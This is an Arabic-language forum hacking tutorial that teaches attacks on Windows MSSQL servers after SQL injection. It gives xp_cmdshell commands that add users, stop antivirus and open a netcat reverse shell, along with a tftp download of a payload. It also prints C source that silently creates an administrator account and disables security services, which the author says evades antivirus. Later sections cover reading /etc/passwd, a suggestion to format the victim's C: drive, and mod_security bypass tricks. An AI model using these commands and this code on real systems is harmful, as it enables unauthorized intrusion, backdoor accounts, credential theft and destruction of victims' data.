سلام عليكم شباب
هعملكو درس حلو انهرده علشان مش هخش تانى لمده شهرين علشان جبت ملحق قران :s
و هوا عن احتراف او مش احتراف اوى يعنى انما هيا هنخش شويه فى الامر
exec
لو فاكرين الدرس اللى فات كان عن اننا خدنا روت على السيرفر طيب افرضو احنا مش عارفين ناخد روت
هنعمل ايه
!
عايزين نتعلم ازاى نطبق اوامر على السيرفر و هنركز على سيرفرات الويندوز
اول حاجه عايزين نعرف ازاى نعمل dir
exec master..xp_ cmdshell'dir';--
طيب هنتعلم حاجه كمان
و ممكن بردو تعمل كده
exec master..xp_ cmdshell'cmd.exe dir c:\';--
و كده هيشغل الدوس و بعدين يجبلك كل الملفات اللى فى c
طيب اوك تعالو نعمل حاجات كمان
exec master..xp_ cmdshell'net1 user';-- exec master..xp_ cmdshell'ping ip';-- exec master..xp_ cmdshell'net user valentino 123456 /add';--
طيب براحتك انت بقا هتعدل الاوامر اللى انت عايزها
بس ثوانى الامر ده بردو مهم
exec master..xp_cmdshell 'iisreset'; --
و هوا هيخلى الادمن و اليوزر يطبو اوامر على السيرفر و ده هيفيدك جدا و المفروض تكتبو اول واحد
علشان لو مكنش عندك صلاحيات تعرف تطبق اوامر
طيب هنخش بقا فى امر تانى
exec reg... xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues xp_regread xp_regremovemultistring xp_regwrite
دول بقا كلهم تبع الريجسترى و فى ناس بتعرف تستفاد منها فى انها تجيب الباسوردات بتاعت النظام
و طريقه استخدمها
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
و بما انى مش بفهم فيها كتير مش هخش فيها
طيب نخش فى واحد تانى
xp_servicecontrol
و ده هيفدينا جدا
و هوا تبع السيرفس اللى شغاله على السيرفر
طبعا بقا انت اول حاجه بتقبلك على السيرفر هوا النورتن و تقفلو
xp_servicecontrol 'stop','norton service name'
و ممكن بقا شغل او توقف كل اللى انت عايزو
و بردو الامر ده حلو جدا
xp_availablemedia
و هوا تبع الدريفرات يعنى عايز تشوف الدرفرات ايه الموجوده على السيرفر
طيب ايه رائيكو نخش فى حاجات احلى شويه
دلوقتى ايه اهم حاجه انت عايزها !
اكيد انك تتصل بى النت كات علشان تتطبق الاوامر
exec master..xp_cmdshell 'C:nc.exe 192.168.0.1 53 –e cmd.exe' —
طيب ما انت هتقولى و انا هرفعو ازاى اصلا !
هقولك سهله بس عايزاك تدرس شويه فى اوامر الدوس
exec master..xp_cmdshell 'tftp –I 192.168.0.1 GET nc.exe c:nc.exe' —
و على فكره tftp ده موجود على طول
و بكده يبقا انت ريحت دماغك من رفع الشيل و راخمه السيف مود
طيب اوك تعالو نخش فى حاجه ارخم شويه
و هيا ازاى ترفع ملفات على السيرفر
طبعا اللى فهم الامر اللى فات هيبقا مش محتاج لى وجع الدماغ ده انما ادينا بنتسلى
دلوقتى عندنا حاجه سهله جدا و هيا <>
الرمزين دول مهمين جدا و هستخدمهم فى الblind sql injection
تقولى يعنى ايه
هقولك يا سيدى النوع ده من ثغرات الsql
بيبقا ناتج عن حمايه جامده سواء من السيرفر او من الاسكريبت
و هوا نوع مش بيطلع ايرور
يعنى بيقا سواء الايرور ممنوع من php.ini
او من المود سيكيورتى اللى بيفضح اى حد يحاول يجيب ايرور
او فى سكريبتات بتبقا عامله كل حاجه بين if
يعنى لو الامر اتنفذ ي بقا هيكمل و لو متنفذش و ده اللى احنا هناخد منو الايرور يعملك حاجه تانيه
طيب اوك تعالو نكمل بقا و نشوف ده هيفيدينا فى ايه
خش على الدوس و اكتب
echo valentino output (valentino)
طبعا الناتج اللى هيظهر valentino
طيب تخيلو معايا ان الاستعلام هوا الاول و اللى هيطلع اللى هوا المفروض انو الايرور
طيب احنا مش عايزنو يظهر مثلا عايزين نحولو على ملف
سهله
اكتب
echo valentino >test.text
بكل بساطه مش هتلاقى ناتج و هتاقى فى نفس المسار ملف اسمو
test.text
و جواه كلمه valentino
اظن الفكره وصلت
احنا ممكن نستخدم الكلام ده فى حاجات كتير نها ان احنا ممكن نزرع شيل او ملف عموما فى السيرفر
و ممكن نزرع اى حاجه تانيه
يعنى مثلا على سبيل المثال البرنامج ده فى السريع
ده لو عملتو بى الامر ده هيعملك بلاوى فى السيرفر
هيعملك يوزر بى صلاحيات ادمن و هيقفل النورتن و هيقفل الابديت و هيقفل السيكيورتى سينتر و هيفتح الريموت ديسيك توب
بس لسه مخلصوتش كلو لسه هيبقا فيه حاجات تانيه يعنى استنو الاصدار الجديد :D و طبعا الملف مش هيكشفو اى حاجه لانى عاملو بطريقه ان الكاسبر ميقدرش يكلمو لان الملف نفسو مش هيعمل حاجه تضر النظام
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
add_user(){
FILE * batt;
char order;
if((batt=fopen("valentinolove.bat","w"))==NULL)
{
fprintf(stderr, "Error opening file.");
exit(1);
fclose(batt);}
else{
char x=34;
fprintf(batt,"net user valntinolove 123456 /add \nnet localgroup administrators valntinolove /add \nnet stop %csecurity center%c\nnet stop %cnorton antivirus auto protect service%c\nnet start %cremote access auto connection manager%c\nnet start %cnetmeeting remote desktop sharing%c\nnet stop %cAutomatic Updates%c\nnet stop %cWindows Firewall/Internet Connection Sharing (ICS)%c\nnet stop %cSystem Restore Service%c",x,x,x,x,x,x,x,x,x,x,x,x); fclose(batt);
system("valentinolove.bat");
system("cls");
remove("valentinolove.bat");
}};
main()
{
add_user();
printf("n100000000000000000000000000000000000000000000001111111111111111111111111111212121\n100000000000000000000000000000000000000000000001111111111111111111111111111212121\n");
system("cls");
}المهم نكمل
دى كانت طريقه و فى طريقه تانيه
exec master..xp_cmdshell(echo first line >file.text);
و هتكرر بقا انت الامر ده كذا مره لحد اما تخلص الملف و بعدين التنفيذ بقا هيفرق لو انت عملت ملف
تنفيذى يبقا هتشغلو كده
exec master..xp_cmdshell(bad.exe);
انما لو الملف نصى يعنى php /html/asp etc
يبقا تشوفو بالطريقه دى
exec master..xp_cmdshell(type shell.php);
يعنى الفكره اظن انها بقت سهله دلوقتى
و ممكن نعمل حاجه تانيه بعدين عن exec
هنستخدم into outfile
union select * from admin into outfile 'file.text';
بس على فكره لازم يكون عندك صلاحيات على المسار
طيب و ممكن عمل كده بردو بس علشان تكتب ملف معين فى قاعده من عندك
يعنى مثلا انت لو عايز تاخد ملف etc/passwd على قاعده اسمها foo
طبعا هنعمل قاعد بى الاسم ده و بعدين هنستخدم bulk insert
create table foo(line varchar(8000));bulk insert foo from 'c:\inetpub\wwwroot\shell.text';--
و ممكن بردو نستخدم الداله load data
LOAD DATA LOCAL INFILE '/pet.txt' INTO TABLE foo;
هنا هناخد اللى فى الملف pet.text و نحطو فى القاعده و بعدين يبقا استعلم عنو
union select * from foo
و ممكن كده بردو
create table myfile (input TEXT); load data infile ‘/etc/passwd’ into table myfile; OR load data infile ‘/home/{user}/.rhosts’ into table myfile; select * from myfile;و ده اساتخدمنا فيه or علشان يشوف لو عرفت ينفذ الاولى يبقا اوك انما لو متنفتش هيروح و بنفذ التانيه و الاتنين زى بعض
طيب و بردو الامر ده ظريف جدا و هوا يفيد فى blind
sp_makewebtask
و ده امر ظريف اوى و هوا عن انك هتعمل استعلام و بعدين الاستعلام ده هتحول الناتج بتاعو على صفحه html
exec master..sp_makewebtask "127.0.0.1\a.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
طيب كده خلصنا شغلنا
بس معانا اخر امر و هوا format C:/y
علشان نريح دماغنا من السيرفر ده لان صاحبو هيفت قهوه احسن:D
طيب دلوقتى اوقات كتير بيقابلنا صعوبات مع السيكيورتى فى السيرفر زى addslash\magic_qouit\mod security
وممكن تعديها بكل بساطه بانك تغير لغه الاستعلام يعنى مثلا تشفر الاستعلام بى الهكس
اما عن المود سيكيورتى فا ممكن تعديه بى انك تديلو استعلام مش موجود عندو فى .htaccess و بردو يتنفذ
مثلا انت لو عملت union select null
هيا هيا
un/**/ion se/**/lect nu/**/ll
و بردو هيا هيا
"un"+"ion" "se"+"lect" "nu"+"ll"
يعنى الحكايه كلها تشغيل مخ انا تعبت جدا اسيبكو بقا مع نفسكو تجربو الكلام ده
بس عموما انا مش هبقا موجود قبل شهرين يعنى اللى عايز يسال فى حاجه يريح دماغو و يروح على حبينا جوجل و هوا هيلاقى الاجابه ان شاء الله
و اول ما اخلص هبقا اشوف اى حد عايز حاجه و هرد عليها ان شاء الله
